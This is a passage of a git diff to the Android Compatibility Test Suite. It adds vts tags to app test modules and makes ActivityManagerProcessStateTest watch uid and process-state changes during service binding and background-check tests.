 LOCAL_PACKAGE_NAME := CtsAppTestCases
 
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 4b6057d..191f4cc 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -37,7 +37,7 @@
               src/android/app/stubs/ISecondary.aidl
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAppTestStubs
 
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 6c5ea7c..2689c30 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsAppTestStubsDifferentUid
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
index e08de21..36c6d07 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/app/appSdk25/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAppTestSdk25
 
diff --git a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
index 91c7f44..4192883 100644
--- a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
+++ b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
@@ -91,6 +91,8 @@
     private boolean keyboardShortcutsSupported() {
       // Keyboard shortcuts API is not supported on watches.
       // TODO(b/62257073): Provide a more granular feature to check here.
-      return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+      // 2017-10-17: Updated to also exclude EMBEDDED
+      return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH) &&
+             !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
     }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index ec08a89..7c1ed0d 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -20,16 +20,19 @@
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.Instrumentation;
+import android.app.KeyguardManager;
 import android.app.cts.android.app.cts.tools.ServiceConnectionHandler;
 import android.app.cts.android.app.cts.tools.ServiceProcessController;
 import android.app.cts.android.app.cts.tools.SyncOrderedBroadcast;
 import android.app.cts.android.app.cts.tools.UidImportanceListener;
 import android.app.cts.android.app.cts.tools.WaitForBroadcast;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.os.IBinder;
 import android.os.Parcel;
+import android.os.PowerManager;
 import android.os.RemoteException;
 import android.test.InstrumentationTestCase;
 
@@ -74,6 +77,9 @@
         super.tearDown();
     }
 
+    /**
+     * Test basic state changes as processes go up and down due to services running in them.
+     */
     public void testUidImportanceListener() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
@@ -117,109 +123,151 @@
         am.addOnUidImportanceListener(uidGoneListener,
                 ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
 
-        // First kill the processes to start out in a stable state.
-        conn.bind(WAIT_TIME);
-        conn2.bind(WAIT_TIME);
+        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
         try {
-            conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
-        } catch (RemoteException e) {
+            // First kill the processes to start out in a stable state.
+            conn.bind(WAIT_TIME);
+            conn2.bind(WAIT_TIME);
+            IBinder service1 = conn.getServiceIBinder();
+            IBinder service2 = conn2.getServiceIBinder();
+            conn.unbind(WAIT_TIME);
+            conn2.unbind(WAIT_TIME);
+            try {
+                service1.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+            } catch (RemoteException e) {
+            }
+            try {
+                service2.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+            } catch (RemoteException e) {
+            }
+            service1 = service2 = null;
+
+            // Wait for uid's processes to go away.
+            uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // And wait for the uid report to be gone.
+            uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
+            // Now bind and see if we get told about the uid coming in to the foreground.
+            conn.bind(WAIT_TIME);
+            uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // Also make sure the uid state reports are as expected.  Wait for active because
+            // there may be some intermediate states as the process comes up.
+            uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+            // Pull out the service IBinder for a kludy hack...
+            IBinder service = conn.getServiceIBinder();
+
+            // Now unbind and see if we get told about it going to the background.
+            conn.unbind(WAIT_TIME);
+            uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+            // Now kill the process and see if we are told about it being gone.
+            try {
+                service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+            } catch (RemoteException e) {
+                // It is okay if it is already gone for some reason.
+            }
+
+            uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
+            // Now we are going to try different combinations of binding to two processes to
+            // see if they are correctly combined together for the app.
+
+            // Bring up both services.
+            conn.bind(WAIT_TIME);
+            conn2.bind(WAIT_TIME);
+            uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // Also make sure the uid state reports are as expected.
+            uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+            // Bring down one service, app state should remain foreground.
+            conn2.unbind(WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // Bring down other service, app state should now be cached.  (If the processes both
+            // actually get killed immediately, this is also not a correctly behaving system.)
+            conn.unbind(WAIT_TIME);
+            uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+            // Bring up one service, this should be sufficient to become foreground.
+            conn2.bind(WAIT_TIME);
+            uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+            // Bring up other service, should remain foreground.
+            conn.bind(WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // Bring down one service, should remain foreground.
+            conn.unbind(WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // And bringing down other service should put us back to cached.
+            conn2.unbind(WAIT_TIME);
+            uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+        } finally {
+            data.recycle();
+
+            uidWatcher.finish();
+
+            am.removeOnUidImportanceListener(uidForegroundListener);
+            am.removeOnUidImportanceListener(uidGoneListener);
         }
-        try {
-            conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
-        } catch (RemoteException e) {
-        }
-        conn.unbind(WAIT_TIME);
-        conn2.unbind(WAIT_TIME);
-
-        // Wait for uid's processes to go away.
-        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Now bind and see if we get told about the uid coming in to the foreground.
-        conn.bind(WAIT_TIME);
-        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Pull out the service IBinder for a kludy hack...
-        IBinder service = conn.getServiceIBinder();
-
-        // Now unbind and see if we get told about it going to the background.
-        conn.unbind(WAIT_TIME);
-        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Now kill the process and see if we are told about it being gone.
-        try {
-            service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
-        } catch (RemoteException e) {
-            // It is okay if it is already gone for some reason.
-        }
-
-        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Now we are going to try different combinations of binding to two processes to
-        // see if they are correctly combined together for the app.
-
-        // Bring up both services.
-        conn.bind(WAIT_TIME);
-        conn2.bind(WAIT_TIME);
-        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Bring down one service, app state should remain foreground.
-        conn2.unbind(WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Bring down other service, app state should now be cached.  (If the processes both
-        // actually get killed immediately, this is also not a correctly behaving system.)
-        conn.unbind(WAIT_TIME);
-        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Bring up one service, this should be sufficient to become foreground.
-        conn2.bind(WAIT_TIME);
-        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Bring up other service, should remain foreground.
-        conn.bind(WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // Bring down one service, should remain foreground.
-        conn.unbind(WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        // And bringing down other service should put us back to cached.
-        conn2.unbind(WAIT_TIME);
-        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
-                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
-        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
-                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
-        data.recycle();
-
-        am.removeOnUidImportanceListener(uidForegroundListener);
-        am.removeOnUidImportanceListener(uidGoneListener);
     }
 
+    /**
+     * Test that background check correctly prevents idle services from running but allows
+     * whitelisted apps to bypass the check.
+     */
     public void testBackgroundCheckService() throws Exception {
         final Parcel data = Parcel.obtain();
         Intent serviceIntent = new Intent();
@@ -249,14 +297,18 @@
         am.addOnUidImportanceListener(uidGoneListener,
                 ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
 
+        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
         // First kill the process to start out in a stable state.
         mContext.stopService(serviceIntent);
         conn.bind(WAIT_TIME);
+        IBinder service = conn.getServiceIBinder();
+        conn.unbind(WAIT_TIME);
         try {
-            conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+            service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
         } catch (RemoteException e) {
         }
-        conn.unbind(WAIT_TIME);
+        service = null;
 
         // Wait for uid's process to go away.
         uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
@@ -264,9 +316,16 @@
         assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
                 am.getPackageImportance(SIMPLE_PACKAGE_NAME));
 
+        // And wait for the uid report to be gone.
+        uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
         cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
         result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
 
+        // This is a side-effect of the app op command.
+        uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+        uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", WAIT_TIME);
+
         // We don't want to wait for the uid to actually go idle, we can force it now.
         cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
         result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
@@ -298,15 +357,31 @@
             mContext.startService(serviceIntent);
             conn.waitForConnect(WAIT_TIME);
 
+            // Also make sure the uid state reports are as expected.
+            uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
             // Good, now stop the service and give enough time to get off the temp whitelist.
             mContext.stopService(serviceIntent);
             conn.waitForDisconnect(WAIT_TIME);
+
+            uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             Thread.sleep(3000);
 
+            // Going off the temp whitelist causes a spurious proc state report...  that's
+            // not ideal, but okay.
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             // We don't want to wait for the uid to actually go idle, we can force it now.
             cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
             result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
 
+            uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             // Now that we should be off the temp whitelist, make sure we again can't start.
             failed = false;
             try {
@@ -326,14 +401,22 @@
             mContext.startService(serviceIntent);
             conn.waitForConnect(WAIT_TIME);
 
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
             // Okay, bring down the service.
             mContext.stopService(serviceIntent);
             conn.waitForDisconnect(WAIT_TIME);
 
+            uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
         } finally {
             mContext.stopService(serviceIntent);
             conn.stopMonitoring();
 
+            uidWatcher.finish();
+
             cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
             result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
             cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
@@ -346,6 +429,10 @@
         }
     }
 
+    /**
+     * Test that background check behaves correctly after a process is no longer foreground:
+     * first allowing a service to be started, then stopped by the system when idle.
+     */
     public void testBackgroundCheckStopsService() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
@@ -373,21 +460,26 @@
         am.addOnUidImportanceListener(uidGoneListener,
                 ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
 
+        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
         // First kill the process to start out in a stable state.
         mContext.stopService(mServiceIntent);
         mContext.stopService(mService2Intent);
         conn.bind(WAIT_TIME);
         conn2.bind(WAIT_TIME);
-        try {
-            conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
-        } catch (RemoteException e) {
-        }
-        try {
-            conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
-        } catch (RemoteException e) {
-        }
+        IBinder service = conn.getServiceIBinder();
+        IBinder service2 = conn2.getServiceIBinder();
         conn.unbind(WAIT_TIME);
         conn2.unbind(WAIT_TIME);
+        try {
+            service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        try {
+            service2.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        service = service2 = null;
 
         // Wait for uid's process to go away.
         uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
@@ -395,9 +487,16 @@
         assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
                 am.getPackageImportance(SIMPLE_PACKAGE_NAME));
 
+        // And wait for the uid report to be gone.
+        uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
         cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
         result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
 
+        // This is a side-effect of the app op command.
+        uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+        uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", WAIT_TIME);
+
         // We don't want to wait for the uid to actually go idle, we can force it now.
         cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
         result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
@@ -421,7 +520,7 @@
                 fail("Service was allowed to start while in the background");
             }
 
-            // First poke the process into the foreground, so we can avoid  background check.
+            // First poke the process into the foreground, so we can avoid background check.
             conn2.bind(WAIT_TIME);
             conn2.waitForConnect(WAIT_TIME);
 
@@ -432,6 +531,11 @@
             assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
                     am.getPackageImportance(SIMPLE_PACKAGE_NAME));
 
+            // Also make sure the uid state reports are as expected.
+            uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
             conn2.unbind(WAIT_TIME);
 
             // Wait for process to recover back down to being cached.
@@ -440,10 +544,16 @@
             assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
                     am.getPackageImportance(SIMPLE_PACKAGE_NAME));
 
+            uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             // Try starting the service now that the app is waiting to idle...  should work!
             mContext.startService(mServiceIntent);
             conn.waitForConnect(WAIT_TIME);
 
+            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
             // And also start the second service.
             conn2.startMonitoring();
             mContext.startService(mService2Intent);
@@ -463,12 +573,19 @@
             conn.waitForDisconnect(WAIT_TIME);
             conn2.waitForDisconnect(WAIT_TIME);
 
+            uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+            // There may be a transient 'SVC' proc state here.
+            uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
         } finally {
             mContext.stopService(mServiceIntent);
             mContext.stopService(mService2Intent);
             conn.cleanup(WAIT_TIME);
             conn2.cleanup(WAIT_TIME);
 
+            uidWatcher.finish();
+
             cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
             result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
             cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
@@ -481,6 +598,10 @@
         }
     }
 
+    /**
+     * Test the background check doesn't allow services to be started from broadcasts except
+     * when in the correct states.
+     */
     public void testBackgroundCheckBroadcastService() throws Exception {
         final Intent broadcastIntent = new Intent();
         broadcastIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -492,24 +613,18 @@
         final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
                 mServiceIntent);
 
-        // First kill the process to start out in a stable state.
-        controller.ensureProcessGone(WAIT_TIME);
-
-        String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
-        // We don't want to wait for the uid to actually go idle, we can force it now.
-        cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
-        // Make sure app is not yet on whitelist
-        cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
-        // We will use this to monitor when the service is running.
-        conn.startMonitoring();
-
         try {
+            // First kill the process to start out in a stable state.
+            controller.ensureProcessGone(WAIT_TIME);
+
+            // Do initial setup.
+            controller.denyBackgroundOp(WAIT_TIME);
+            controller.makeUidIdle();
+            controller.removeFromWhitelist();
+
+            // We will use this to monitor when the service is running.
+            conn.startMonitoring();
+
             // Try sending broadcast to start the service.  Should fail!
             SyncOrderedBroadcast br = new SyncOrderedBroadcast();
             broadcastIntent.putExtra("service", mServiceIntent);
@@ -519,9 +634,19 @@
                 fail("Didn't fail starting service, result=" + brCode);
             }
 
+            // Track the uid proc state changes from the broadcast (but not service execution)
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             // Put app on temporary whitelist to see if this allows the service start.
-            cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            controller.tempWhitelist(2000);
+
+            // Being on the whitelist means the uid is now active.
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
             // Try starting the service now that the app is whitelisted...  should work!
             br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
@@ -531,18 +656,33 @@
             }
             conn.waitForConnect(WAIT_TIME);
 
+            // Also make sure the uid state reports are as expected.
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            // We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
+            // proc state depending on timing.
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
             // Good, now stop the service and give enough time to get off the temp whitelist.
             mContext.stopService(mServiceIntent);
             conn.waitForDisconnect(WAIT_TIME);
+
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             Thread.sleep(3000);
 
+            // Going off the temp whitelist causes a spurious proc state report...  that's
+            // not ideal, but okay.
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+            // We don't want to wait for the uid to actually go idle, we can force it now.
+            controller.makeUidIdle();
+
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+
             // Make sure the process is gone so we start over fresh.
             controller.ensureProcessGone(WAIT_TIME);
 
-            // We don't want to wait for the uid to actually go idle, we can force it now.
-            cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
             // Now that we should be off the temp whitelist, make sure we again can't start.
             br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
             brCode = br.getReceivedCode();
@@ -550,9 +690,17 @@
                 fail("Didn't fail starting service, result=" + brCode);
             }
 
+            // Track the uid proc state changes from the broadcast (but not service execution)
